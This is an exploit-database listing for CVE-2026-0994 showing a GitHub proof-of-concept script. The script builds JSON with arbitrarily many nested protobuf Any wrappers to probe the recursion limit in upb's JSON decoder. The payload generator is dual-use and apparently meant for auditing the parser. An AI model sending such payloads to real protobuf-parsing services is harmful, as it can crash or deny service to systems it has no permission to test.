Exploit database

GH-dad2833ad24f18be92e78ca6555e7541

vardhan0257/upb-any-recursion-audit

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-0994

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files4
vardhan0257/upb-any-recursion-auditRevision 0d9429c33632

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

src/gen_json_payload.py

Python · 737 bytes
#!/usr/bin/env python3
# Builds a JSON payload of N nested google.protobuf.Any wrappers around an
# innermost google.protobuf.Struct, to test upb's JSON decoder recursion
# guard (jsondec_push / jsondec_any, default depth=64).
import sys

OPEN = '{"@type":"type.googleapis.com/google.protobuf.Any","value":'
CLOSE = "}"
INNERMOST = '{"@type":"type.googleapis.com/google.protobuf.Struct","value":{}}'

def build(n_levels: int) -> str:
    return (OPEN * n_levels) + INNERMOST + (CLOSE * n_levels)

if __name__ == "__main__":
    n = int(sys.argv[1])
    out_path = sys.argv[2]
    payload = build(n)
    with open(out_path, "w") as f:
        f.write(payload)
    print(f"Built {len(payload)} bytes, {n} nested Any levels -> {out_path}")